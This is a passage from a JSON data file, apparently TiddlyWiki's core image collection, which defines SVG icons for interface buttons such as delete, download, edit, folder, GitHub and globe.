L112,23.9924054 C112,21.7851587 111.104671,19.7871591 109.657101,18.3409203 C108.203844,16.8944047 106.205061,16 104.000754,16 L88,16 C88,11.5907123 84.4151006,8 79.9929031,8 L48.0070969,8 C43.5881712,8 40,11.581722 40,16 Z M44,14.9958262 C44,12.7889923 45.7964248,11 48.0000255,11 L79.9999745,11 C82.2091276,11 84,12.7965212 84,14.9958262 L84,19.0041738 C84,21.2110077 82.2035752,23 79.9999745,23 L48.0000255,23 C45.7908724,23 44,21.2034788 44,19.0041738 L44,14.9958262 Z\"></path>\n\t\t<rect x=\"62\" y=\"64\" width=\"66\" height=\"16\" rx=\"8\"></rect>\n\t\t<path d=\"M60.6568542,85.6568542 L76.6568542,69.6568543 L65.3431458,69.6568542 L81.3431458,85.6568542 C84.4673401,88.7810486 89.5326599,88.7810486 92.6568542,85.6568542 C95.7810486,82.5326599 95.7810486,77.4673401 92.6568542,74.3431458 L76.6568542,58.3431458 C73.5326599,55.2189514 68.4673401,55.2189514 65.3431458,58.3431457 L49.3431458,74.3431457 C46.2189514,77.4673401 46.2189514,82.5326599 49.3431457,85.6568542 C52.4673401,88.7810486 57.5326599,88.7810486 60.6568542,85.6568542 L60.6568542,85.6568542 Z\" transform=\"translate(71.000000, 72.000000) rotate(-90.000000) translate(-71.000000, -72.000000) \"></path>\n\t</g>\n</svg>"
        },
        "$:/core/images/delete-button": {
            "title": "$:/core/images/delete-button",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-delete-button tc-image-button\" viewBox=\"0 0 128 128\" width=\"22pt\" height=\"22pt\">\n    <g fill-rule=\"evenodd\" transform=\"translate(12.000000, 0.000000)\">\n        <rect x=\"0\" y=\"11\" width=\"105\" height=\"16\" rx=\"8\"></rect>\n        <rect x=\"28\" y=\"0\" width=\"48\" height=\"16\" rx=\"8\"></rect>\n        <rect x=\"8\" y=\"16\" width=\"16\" height=\"112\" rx=\"8\"></rect>\n        <rect x=\"8\" y=\"112\" width=\"88\" height=\"16\" rx=\"8\"></rect>\n        <rect x=\"80\" y=\"16\" width=\"16\" height=\"112\" rx=\"8\"></rect>\n        <rect x=\"56\" y=\"16\" width=\"16\" height=\"112\" rx=\"8\"></rect>\n        <rect x=\"32\" y=\"16\" width=\"16\" height=\"112\" rx=\"8\"></rect>\n    </g>\n</svg>"
        },
        "$:/core/images/done-button": {
            "title": "$:/core/images/done-button",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-done-button tc-image-button\" viewBox=\"0 0 128 128\" width=\"22pt\" height=\"22pt\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M3.52445141,76.8322939 C2.07397484,75.3828178 1.17514421,73.3795385 1.17514421,71.1666288 L1.17514421,23.1836596 C1.17514421,18.7531992 4.75686621,15.1751442 9.17514421,15.1751442 C13.5844319,15.1751442 17.1751442,18.7606787 17.1751442,23.1836596 L17.1751442,63.1751442 L119.173716,63.1751442 C123.590457,63.1751442 127.175144,66.7568662 127.175144,71.1751442 C127.175144,75.5844319 123.592783,79.1751442 119.173716,79.1751442 L9.17657227,79.1751442 C6.96796403,79.1751442 4.9674142,78.279521 3.51911285,76.8315312 Z\" id=\"Rectangle-285\" transform=\"translate(64.175144, 47.175144) rotate(-45.000000) translate(-64.175144, -47.175144) \"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/down-arrow": {
            "title": "$:/core/images/down-arrow",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-down-arrow tc-image-button\" viewBox=\"0 0 128 128\" width=\"22pt\" height=\"22pt\">\n    <path d=\"M109.35638,81.3533152 C107.923899,82.7869182 105.94502,83.6751442 103.759224,83.6751442 L24.5910645,83.6751442 C20.225873,83.6751442 16.6751442,80.1307318 16.6751442,75.7584775 C16.6751442,71.3951199 20.2192225,67.8418109 24.5910645,67.8418109 L95.8418109,67.8418109 L95.8418109,-3.40893546 C95.8418109,-7.77412698 99.3862233,-11.3248558 103.758478,-11.3248558 C108.121835,-11.3248558 111.675144,-7.78077754 111.675144,-3.40893546 L111.675144,75.7592239 C111.675144,77.9416955 110.789142,79.9205745 109.356651,81.3538862 Z\" transform=\"translate(64.175144, 36.175144) rotate(45.000000) translate(-64.175144, -36.175144) \"></path>\n</svg>"
        },
        "$:/core/images/download-button": {
            "title": "$:/core/images/download-button",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-download-button tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\"><g fill-rule=\"evenodd\"><path class=\"tc-image-download-button-ring\" d=\"M64,128 C99.346224,128 128,99.346224 128,64 C128,28.653776 99.346224,0 64,0 C28.653776,0 0,28.653776 0,64 C0,99.346224 28.653776,128 64,128 Z M64,112 C90.509668,112 112,90.509668 112,64 C112,37.490332 90.509668,16 64,16 C37.490332,16 16,37.490332 16,64 C16,90.509668 37.490332,112 64,112 Z\"/><path d=\"M34.3496823,66.4308767 L61.2415823,93.634668 C63.0411536,95.4551107 65.9588502,95.4551107 67.7584215,93.634668 L94.6503215,66.4308767 C96.4498928,64.610434 96.4498928,61.6588981 94.6503215,59.8384554 C93.7861334,58.9642445 92.6140473,58.4731195 91.3919019,58.4731195 L82.9324098,58.4731195 C80.3874318,58.4731195 78.3243078,56.3860674 78.3243078,53.8115729 L78.3243078,38.6615466 C78.3243078,36.0870521 76.2611837,34 73.7162058,34 L55.283798,34 C52.7388201,34 50.675696,36.0870521 50.675696,38.6615466 L50.675696,38.6615466 L50.675696,53.8115729 C50.675696,56.3860674 48.612572,58.4731195 46.0675941,58.4731195 L37.608102,58.4731195 C35.063124,58.4731195 33,60.5601716 33,63.134666 C33,64.3709859 33.4854943,65.5566658 34.3496823,66.4308767 L34.3496823,66.4308767 Z\"/></g></svg>"
        },
        "$:/core/images/edit-button": {
            "title": "$:/core/images/edit-button",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-edit-button tc-image-button\" viewBox=\"0 0 128 128\" width=\"22pt\" height=\"22pt\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M116.870058,45.3431458 L108.870058,45.3431458 L108.870058,45.3431458 L108.870058,61.3431458 L116.870058,61.3431458 L116.870058,45.3431458 Z M124.870058,45.3431458 L127.649881,45.3431458 C132.066101,45.3431458 135.656854,48.9248678 135.656854,53.3431458 C135.656854,57.7524334 132.07201,61.3431458 127.649881,61.3431458 L124.870058,61.3431458 L124.870058,45.3431458 Z M100.870058,45.3431458 L15.6638275,45.3431458 C15.5064377,45.3431458 15.3501085,45.3476943 15.1949638,45.3566664 L15.1949638,45.3566664 C15.0628002,45.3477039 14.928279,45.3431458 14.7913977,45.3431458 C6.68160973,45.3431458 -8.34314575,53.3431458 -8.34314575,53.3431458 C-8.34314575,53.3431458 6.85614548,61.3431458 14.7913977,61.3431458 C14.9266533,61.3431458 15.0596543,61.3384973 15.190398,61.3293588 C15.3470529,61.3385075 15.5049057,61.3431458 15.6638275,61.3431458 L100.870058,61.3431458 L100.870058,45.3431458 L100.870058,45.3431458 Z\" transform=\"translate(63.656854, 53.343146) rotate(-45.000000) translate(-63.656854, -53.343146) \"></path>\n        <path d=\"M35.1714596,124.189544 C41.9594858,123.613403 49.068777,121.917633 58.85987,118.842282 C60.6854386,118.268877 62.4306907,117.705515 65.1957709,116.802278 C81.1962861,111.575575 87.0734839,109.994907 93.9414474,109.655721 C102.29855,109.242993 107.795169,111.785371 111.520478,118.355045 C112.610163,120.276732 115.051363,120.951203 116.97305,119.861518 C118.894737,118.771832 119.569207,116.330633 118.479522,114.408946 C113.146151,105.003414 104.734907,101.112919 93.5468356,101.66546 C85.6716631,102.054388 79.4899908,103.716944 62.7116783,109.197722 C59.9734132,110.092199 58.2519873,110.64787 56.4625698,111.20992 C37.002649,117.322218 25.6914684,118.282267 16.8654804,112.957098 C14.9739614,111.815848 12.5154166,112.424061 11.3741667,114.31558 C10.2329168,116.207099 10.84113,118.665644 12.7326489,119.806894 C19.0655164,123.627836 26.4866335,124.926678 35.1714596,124.189544 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/erase": {
            "title": "$:/core/images/erase",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-erase tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M60.0870401,127.996166 L123.102318,64.980888 C129.636723,58.4464827 129.629513,47.8655877 123.098967,41.3350425 L99.4657866,17.7018617 C92.927448,11.1635231 82.3486358,11.1698163 75.8199411,17.698511 L4.89768189,88.6207702 C-1.63672343,95.1551755 -1.6295126,105.736071 4.90103262,112.266616 L20.6305829,127.996166 L60.0870401,127.996166 Z M25.1375576,120.682546 L10.812569,106.357558 C7.5455063,103.090495 7.54523836,97.793808 10.8048093,94.5342371 L46.2691086,59.0699377 L81.7308914,94.5317205 L55.5800654,120.682546 L25.1375576,120.682546 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/excise": {
            "title": "$:/core/images/excise",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-excise tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M56,107.313709 L53.6568542,109.656854 C50.5326599,112.781049 45.4673401,112.781049 42.3431457,109.656854 C39.2189514,106.53266 39.2189514,101.46734 42.3431458,98.3431457 L58.3431458,82.3431457 C61.4673401,79.2189514 66.5326599,79.2189514 69.6568542,82.3431458 L85.6568542,98.3431458 C88.7810486,101.46734 88.7810486,106.53266 85.6568542,109.656854 C82.5326599,112.781049 77.4673401,112.781049 74.3431458,109.656854 L72,107.313708 L72,121.597798 C72,125.133636 68.418278,128 64,128 C59.581722,128 56,125.133636 56,121.597798 L56,107.313709 Z M0,40.0070969 C0,35.5848994 3.59071231,32 8,32 C12.418278,32 16,35.5881712 16,40.0070969 L16,71.9929031 C16,76.4151006 12.4092877,80 8,80 C3.581722,80 0,76.4118288 0,71.9929031 L0,40.0070969 Z M32,40.0070969 C32,35.5848994 35.5907123,32 40,32 C44.418278,32 48,35.5881712 48,40.0070969 L48,71.9929031 C48,76.4151006 44.4092877,80 40,80 C35.581722,80 32,76.4118288 32,71.9929031 L32,40.0070969 Z M80,40.0070969 C80,35.5848994 83.5907123,32 88,32 C92.418278,32 96,35.5881712 96,40.0070969 L96,71.9929031 C96,76.4151006 92.4092877,80 88,80 C83.581722,80 80,76.4118288 80,71.9929031 L80,40.0070969 Z M56,8.00709688 C56,3.58489938 59.5907123,0 64,0 C68.418278,0 72,3.58817117 72,8.00709688 L72,39.9929031 C72,44.4151006 68.4092877,48 64,48 C59.581722,48 56,44.4118288 56,39.9929031 L56,8.00709688 Z M112,40.0070969 C112,35.5848994 115.590712,32 120,32 C124.418278,32 128,35.5881712 128,40.0070969 L128,71.9929031 C128,76.4151006 124.409288,80 120,80 C115.581722,80 112,76.4118288 112,71.9929031 L112,40.0070969 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/export-button": {
            "title": "$:/core/images/export-button",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-export-button tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M8.00348646,127.999999 C8.00464867,128 8.00581094,128 8.00697327,128 L119.993027,128 C122.205254,128 124.207939,127.101378 125.657096,125.651198 L125.656838,125.65759 C127.104563,124.210109 128,122.21009 128,119.999949 L128,56.0000511 C128,51.5817449 124.409288,48 120,48 C115.581722,48 112,51.5797863 112,56.0000511 L112,112 L16,112 L16,56.0000511 C16,51.5817449 12.4092877,48 8,48 C3.581722,48 7.10542736e-15,51.5797863 7.10542736e-15,56.0000511 L7.10542736e-15,119.999949 C7.10542736e-15,124.418255 3.59071231,128 8,128 C8.00116233,128 8.0023246,128 8.00348681,127.999999 Z M56.6235633,27.3113724 L47.6580188,36.2769169 C44.5333664,39.4015692 39.4634864,39.4061295 36.339292,36.2819351 C33.2214548,33.1640979 33.2173444,28.0901742 36.3443103,24.9632084 L58.9616908,2.34582788 C60.5248533,0.782665335 62.5748436,0.000361191261 64.624516,2.38225238e-14 L64.6193616,0.00151809229 C66.6695374,0.000796251595 68.7211167,0.781508799 70.2854358,2.34582788 L92.9028163,24.9632084 C96.0274686,28.0878607 96.0320289,33.1577408 92.9078345,36.2819351 C89.7899973,39.3997724 84.7160736,39.4038827 81.5891078,36.2769169 L72.6235633,27.3113724 L72.6235633,88.5669606 C72.6235633,92.9781015 69.0418413,96.5662064 64.6235633,96.5662064 C60.2142756,96.5662064 56.6235633,92.984822 56.6235633,88.5669606 L56.6235633,27.3113724 L56.6235633,27.3113724 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/file": {
            "title": "$:/core/images/file",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-file tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"nonzero\">\n        <path d=\"M111.96811,30.5 L112,30.5 L112,119.999079 C112,124.417866 108.419113,128 104.000754,128 L23.9992458,128 C19.5813843,128 16,124.417687 16,119.999079 L16,8.00092105 C16,3.58213437 19.5808867,0 23.9992458,0 L81,0 L81,0.0201838424 C83.1589869,-0.071534047 85.3482153,0.707077645 86.9982489,2.35711116 L109.625176,24.9840387 C111.151676,26.510538 111.932942,28.4998414 111.96811,30.5 L111.96811,30.5 Z M81,8 L24,8 L24,120 L104,120 L104,30.5 L89.0003461,30.5 C84.5818769,30.5 81,26.9216269 81,22.4996539 L81,8 Z\"></path>\n        <rect x=\"32\" y=\"36\" width=\"64\" height=\"8\" rx=\"4\"></rect>\n        <rect x=\"32\" y=\"52\" width=\"64\" height=\"8\" rx=\"4\"></rect>\n        <rect x=\"32\" y=\"68\" width=\"64\" height=\"8\" rx=\"4\"></rect>\n        <rect x=\"32\" y=\"84\" width=\"64\" height=\"8\" rx=\"4\"></rect>\n        <rect x=\"32\" y=\"100\" width=\"64\" height=\"8\" rx=\"4\"></rect>\n        <rect x=\"32\" y=\"20\" width=\"40\" height=\"8\" rx=\"4\"></rect>\n    </g>\n</svg>"
        },
        "$:/core/images/fixed-height": {
            "title": "$:/core/images/fixed-height",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-fixed-height tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M60,35.6568542 L50.8284271,44.8284271 C49.26633,46.3905243 46.73367,46.3905243 45.1715729,44.8284271 C43.6094757,43.26633 43.6094757,40.73367 45.1715729,39.1715729 L61.1715729,23.1715729 C62.73367,21.6094757 65.2663299,21.6094757 66.8284271,23.1715728 L82.8284278,39.1715728 C84.390525,40.7336699 84.390525,43.2663299 82.8284279,44.8284271 C81.2663308,46.3905243 78.7336709,46.3905243 77.1715737,44.8284272 L68,35.6568539 L68,93.3431461 L77.1715737,84.1715728 C78.7336709,82.6094757 81.2663308,82.6094757 82.8284279,84.1715729 C84.390525,85.7336701 84.390525,88.2663301 82.8284278,89.8284272 L66.8284271,105.828427 C65.2663299,107.390524 62.73367,107.390524 61.1715729,105.828427 L45.1715729,89.8284271 C43.6094757,88.26633 43.6094757,85.73367 45.1715729,84.1715729 C46.73367,82.6094757 49.26633,82.6094757 50.8284271,84.1715729 L60,93.3431458 L60,35.6568542 L60,35.6568542 Z M16,116 L112,116 C114.209139,116 116,114.209139 116,112 C116,109.790861 114.209139,108 112,108 L16,108 C13.790861,108 12,109.790861 12,112 C12,114.209139 13.790861,116 16,116 L16,116 Z M16,20 L112,20 C114.209139,20 116,18.209139 116,16 C116,13.790861 114.209139,12 112,12 L16,12 C13.790861,12 12,13.790861 12,16 C12,18.209139 13.790861,20 16,20 L16,20 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/fold-all-button": {
            "title": "$:/core/images/fold-all-button",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-fold-all tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <rect x=\"0\" y=\"0\" width=\"128\" height=\"16\" rx=\"8\"></rect>\n        <rect x=\"0\" y=\"64\" width=\"128\" height=\"16\" rx=\"8\"></rect>\n        <path d=\"M64.0292774,58.6235628 C61.9791013,58.6242848 59.9275217,57.8435723 58.3632024,56.279253 L35.7458219,33.6618725 C32.6211696,30.5372202 32.6166093,25.4673401 35.7408036,22.3431458 C38.8586409,19.2253085 43.9325646,19.2211982 47.0595304,22.348164 L64.0250749,39.3137085 L80.9906194,22.348164 C84.1152717,19.2235117 89.1851518,19.2189514 92.3093461,22.3431458 C95.4271834,25.460983 95.4312937,30.5349067 92.3043279,33.6618725 L69.6869474,56.279253 C68.1237851,57.8424153 66.0737951,58.6247195 64.0241231,58.6250809 Z\" transform=\"translate(64.024316, 39.313708) scale(1, -1) translate(-64.024316, -39.313708) \"></path>\n        <path d=\"M64.0292774,123.621227 C61.9791013,123.621949 59.9275217,122.841236 58.3632024,121.276917 L35.7458219,98.6595365 C32.6211696,95.5348842 32.6166093,90.4650041 35.7408036,87.3408098 C38.8586409,84.2229725 43.9325646,84.2188622 47.0595304,87.345828 L64.0250749,104.311373 L80.9906194,87.345828 C84.1152717,84.2211757 89.1851518,84.2166154 92.3093461,87.3408098 C95.4271834,90.458647 95.4312937,95.5325707 92.3043279,98.6595365 L69.6869474,121.276917 C68.1237851,122.840079 66.0737951,123.622383 64.0241231,123.622745 Z\" transform=\"translate(64.024316, 104.311372) scale(1, -1) translate(-64.024316, -104.311372) \"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/fold-button": {
            "title": "$:/core/images/fold-button",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-fold tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <rect x=\"0\" y=\"0\" width=\"128\" height=\"16\" rx=\"8\"></rect>\n        <path d=\"M64.0292774,63.6235628 C61.9791013,63.6242848 59.9275217,62.8435723 58.3632024,61.279253 L35.7458219,38.6618725 C32.6211696,35.5372202 32.6166093,30.4673401 35.7408036,27.3431458 C38.8586409,24.2253085 43.9325646,24.2211982 47.0595304,27.348164 L64.0250749,44.3137085 L80.9906194,27.348164 C84.1152717,24.2235117 89.1851518,24.2189514 92.3093461,27.3431458 C95.4271834,30.460983 95.4312937,35.5349067 92.3043279,38.6618725 L69.6869474,61.279253 C68.1237851,62.8424153 66.0737951,63.6247195 64.0241231,63.6250809 Z\" transform=\"translate(64.024316, 44.313708) scale(1, -1) translate(-64.024316, -44.313708) \"></path>\n        <path d=\"M64.0049614,105.998482 C61.9547853,105.999204 59.9032057,105.218491 58.3388864,103.654172 L35.7215059,81.0367916 C32.5968535,77.9121393 32.5922933,72.8422592 35.7164876,69.7180649 C38.8343248,66.6002276 43.9082485,66.5961173 47.0352144,69.7230831 L64.0007589,86.6886276 L80.9663034,69.7230831 C84.0909557,66.5984308 89.1608358,66.5938705 92.2850301,69.7180649 C95.4028673,72.8359021 95.4069777,77.9098258 92.2800119,81.0367916 L69.6626314,103.654172 C68.099469,105.217334 66.0494791,105.999639 63.999807,106 Z\" transform=\"translate(64.000000, 86.688628) scale(1, -1) translate(-64.000000, -86.688628) \"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/fold-others-button": {
            "title": "$:/core/images/fold-others-button",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-fold-others tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <rect x=\"0\" y=\"56.0314331\" width=\"128\" height=\"16\" rx=\"8\"></rect>\n        <path d=\"M101.657101,104.948818 C100.207918,103.498614 98.2051847,102.599976 95.9929031,102.599976 L72,102.599976 L72,78.6070725 C72,76.3964271 71.1036108,74.3936927 69.6545293,72.9441002 L69.6571005,72.9488183 C68.2079177,71.4986143 66.2051847,70.5999756 63.9929031,70.5999756 L32.0070969,70.5999756 C27.5881712,70.5999756 24,74.1816976 24,78.5999756 C24,83.0092633 27.5848994,86.5999756 32.0070969,86.5999756 L56,86.5999756 L56,110.592879 C56,112.803524 56.8963895,114.806259 58.3454713,116.255852 L58.3429,116.251133 C59.7920828,117.701337 61.7948156,118.599976 64.0070969,118.599976 L88,118.599976 L88,142.592879 C88,147.011804 91.581722,150.599976 96,150.599976 C100.409288,150.599976 104,147.015076 104,142.592879 L104,110.607072 C104,108.396427 103.103611,106.393693 101.654529,104.9441 Z\" transform=\"translate(64.000000, 110.599976) rotate(-45.000000) translate(-64.000000, -110.599976) \"></path>\n        <path d=\"M101.725643,11.7488671 C100.27646,10.2986632 98.2737272,9.40002441 96.0614456,9.40002441 L72.0685425,9.40002441 L72.0685425,-14.5928787 C72.0685425,-16.8035241 71.1721533,-18.8062584 69.7230718,-20.255851 L69.725643,-20.2511329 C68.2764602,-21.7013368 66.2737272,-22.5999756 64.0614456,-22.5999756 L32.0756394,-22.5999756 C27.6567137,-22.5999756 24.0685425,-19.0182536 24.0685425,-14.5999756 C24.0685425,-10.1906879 27.6534419,-6.59997559 32.0756394,-6.59997559 L56.0685425,-6.59997559 L56.0685425,17.3929275 C56.0685425,19.6035732 56.964932,21.6063078 58.4140138,23.0559004 L58.4114425,23.0511823 C59.8606253,24.5013859 61.8633581,25.4000244 64.0756394,25.4000244 L88.0685425,25.4000244 L88.0685425,49.3929275 C88.0685425,53.8118532 91.6502645,57.4000244 96.0685425,57.4000244 C100.47783,57.4000244 104.068542,53.815125 104.068542,49.3929275 L104.068542,17.4071213 C104.068542,15.1964759 103.172153,13.1937416 101.723072,11.744149 Z\" transform=\"translate(64.068542, 17.400024) scale(1, -1) rotate(-45.000000) translate(-64.068542, -17.400024) \"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/folder": {
            "title": "$:/core/images/folder",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-folder tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M55.6943257,128.000004 L7.99859666,128.000004 C3.5810937,128.000004 0,124.413822 0,119.996384 L0,48.0036243 C0,43.5833471 3.58387508,40.0000044 7.99859666,40.0000044 L16,40.0000044 L16,31.9999914 C16,27.5817181 19.5783731,24 24.0003461,24 L55.9996539,24 C60.4181231,24 64,27.5800761 64,31.9999914 L64,40.0000044 L104.001403,40.0000044 C108.418906,40.0000044 112,43.5861868 112,48.0036243 L112,59.8298353 L104,59.7475921 L104,51.9994189 C104,49.7887607 102.207895,48.0000044 99.9972215,48.0000044 L56,48.0000044 L56,36.0000255 C56,33.7898932 54.2072328,32 51.9957423,32 L28.0042577,32 C25.7890275,32 24,33.7908724 24,36.0000255 L24,48.0000044 L12.0027785,48.0000044 C9.78987688,48.0000044 8,49.7906032 8,51.9994189 L8,116.00059 C8,118.211248 9.79210499,120.000004 12.0027785,120.000004 L58.7630167,120.000004 L55.6943257,128.000004 L55.6943257,128.000004 Z\"></path>\n        <path d=\"M23.8728955,55.5 L119.875702,55.5 C124.293205,55.5 126.87957,59.5532655 125.650111,64.5630007 L112.305967,118.936999 C111.077582,123.942356 106.497904,128 102.083183,128 L6.08037597,128 C1.66287302,128 -0.923492342,123.946735 0.305967145,118.936999 L13.650111,64.5630007 C14.878496,59.5576436 19.4581739,55.5 23.8728955,55.5 L23.8728955,55.5 L23.8728955,55.5 Z M25.6530124,64 L113.647455,64 C115.858129,64 117.151473,66.0930612 116.538306,68.6662267 L105.417772,115.333773 C104.803671,117.910859 102.515967,120 100.303066,120 L12.3086228,120 C10.0979492,120 8.8046054,117.906939 9.41777189,115.333773 L20.5383062,68.6662267 C21.1524069,66.0891409 23.4401107,64 25.6530124,64 L25.6530124,64 L25.6530124,64 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/full-screen-button": {
            "title": "$:/core/images/full-screen-button",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-full-screen-button tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g>\n        <g>\n            <path d=\"M5.29777586e-31,8 C1.59060409e-15,3.581722 3.581722,0 8,0 L40,0 C44.418278,0 48,3.581722 48,8 C48,12.418278 44.418278,16 40,16 L16,16 L16,40 C16,44.418278 12.418278,48 8,48 C3.581722,48 -3.55271368e-15,44.418278 0,40 L3.55271368e-15,8 Z\"></path>\n        </g>\n        <g transform=\"translate(104.000000, 104.000000) rotate(-180.000000) translate(-104.000000, -104.000000) translate(80.000000, 80.000000)\">\n            <path d=\"M5.29777586e-31,8 C1.59060409e-15,3.581722 3.581722,0 8,0 L40,0 C44.418278,0 48,3.581722 48,8 C48,12.418278 44.418278,16 40,16 L16,16 L16,40 C16,44.418278 12.418278,48 8,48 C3.581722,48 -3.55271368e-15,44.418278 0,40 L3.55271368e-15,8 Z\"></path>\n        </g>\n        <g transform=\"translate(24.000000, 104.000000) rotate(-90.000000) translate(-24.000000, -104.000000) translate(0.000000, 80.000000)\">\n            <path d=\"M5.29777586e-31,8 C1.59060409e-15,3.581722 3.581722,0 8,0 L40,0 C44.418278,0 48,3.581722 48,8 C48,12.418278 44.418278,16 40,16 L16,16 L16,40 C16,44.418278 12.418278,48 8,48 C3.581722,48 -3.55271368e-15,44.418278 0,40 L3.55271368e-15,8 Z\"></path>\n        </g>\n        <g transform=\"translate(104.000000, 24.000000) rotate(90.000000) translate(-104.000000, -24.000000) translate(80.000000, 0.000000)\">\n            <path d=\"M5.29777586e-31,8 C1.59060409e-15,3.581722 3.581722,0 8,0 L40,0 C44.418278,0 48,3.581722 48,8 C48,12.418278 44.418278,16 40,16 L16,16 L16,40 C16,44.418278 12.418278,48 8,48 C3.581722,48 -3.55271368e-15,44.418278 0,40 L3.55271368e-15,8 Z\"></path>\n        </g>\n    </g>\n</svg>"
        },
        "$:/core/images/github": {
            "title": "$:/core/images/github",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-github tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n        <g fill-rule=\"evenodd\">\n            <path d=\"M63.9383506,1.60695328 C28.6017227,1.60695328 -0.055756057,30.2970814 -0.055756057,65.6906208 C-0.055756057,94.003092 18.2804728,118.019715 43.7123154,126.493393 C46.9143781,127.083482 48.0812647,125.104717 48.0812647,123.405261 C48.0812647,121.886765 48.02626,117.85449 47.9948287,112.508284 C30.1929317,116.379268 26.4368926,103.916587 26.4368926,103.916587 C23.5255693,96.5129372 19.3294921,94.5420399 19.3294921,94.5420399 C13.5186324,90.5687739 19.7695302,90.6474524 19.7695302,90.6474524 C26.1933001,91.099854 29.5721638,97.2525155 29.5721638,97.2525155 C35.2808718,107.044059 44.5531024,104.215566 48.1991321,102.575118 C48.7806109,98.4366275 50.4346826,95.612068 52.2616263,94.0109598 C38.0507543,92.3941159 23.1091047,86.8944862 23.1091047,62.3389152 C23.1091047,55.3443933 25.6039634,49.6205298 29.6978889,45.1437211 C29.0378318,43.5229433 26.8415704,37.0044266 30.3265147,28.1845627 C30.3265147,28.1845627 35.6973364,26.4615028 47.9241083,34.7542205 C53.027764,33.330139 58.5046663,32.6220321 63.9462084,32.5944947 C69.3838216,32.6220321 74.856795,33.330139 79.9683085,34.7542205 C92.1872225,26.4615028 97.5501864,28.1845627 97.5501864,28.1845627 C101.042989,37.0044266 98.8467271,43.5229433 98.190599,45.1437211 C102.292382,49.6205298 104.767596,55.3443933 104.767596,62.3389152 C104.767596,86.9574291 89.8023734,92.3744463 75.5482834,93.9598188 C77.8427675,95.9385839 79.8897303,99.8489072 79.8897303,105.828476 C79.8897303,114.392635 79.8111521,121.304544 79.8111521,123.405261 C79.8111521,125.120453 80.966252,127.114954 84.2115327,126.489459 C109.623731,117.996111 127.944244,93.9952241 127.944244,65.6906208 C127.944244,30.2970814 99.2867652,1.60695328 63.9383506,1.60695328\"></path>\n        </g>\n    </svg>\n"
        },
        "$:/core/images/gitter": {
            "title": "$:/core/images/gitter",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-gitter tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 18 25\">\n  <rect x=\"15\" y=\"5\" width=\"2\" height=\"10\"></rect>\n  <rect x=\"10\" y=\"5\" width=\"2\" height=\"20\"></rect>\n  <rect x=\"5\" y=\"5\" width=\"2\" height=\"20\"></rect>\n  <rect width=\"2\" height=\"15\"></rect>\n</svg>\n"
        },
        "$:/core/images/globe": {
            "title": "$:/core/images/globe",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-globe tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M72.8111354,37.1275855 C72.8111354,37.9789875 72.8111354,38.8303894 72.8111354,39.6817913 C72.8111354,41.8784743 73.7885604,46.5631866 72.8111354,48.5143758 C71.3445471,51.4420595 68.1617327,52.0543531 66.4170946,54.3812641 C65.2352215,55.9575873 61.7987417,64.9821523 62.7262858,67.3005778 C66.6959269,77.2228204 74.26087,70.4881886 80.6887657,76.594328 C81.5527211,77.415037 83.5758191,78.8666631 83.985137,79.8899578 C87.2742852,88.1128283 76.4086873,94.8989524 87.7419325,106.189751 C88.9872885,107.430443 91.555495,102.372895 91.8205061,101.575869 C92.6726866,99.0129203 98.5458765,96.1267309 100.908882,94.5234439 C102.928056,93.1534443 105.782168,91.8557166 107.236936,89.7775886 C109.507391,86.5342557 108.717505,82.2640435 110.334606,79.0328716 C112.473794,74.7585014 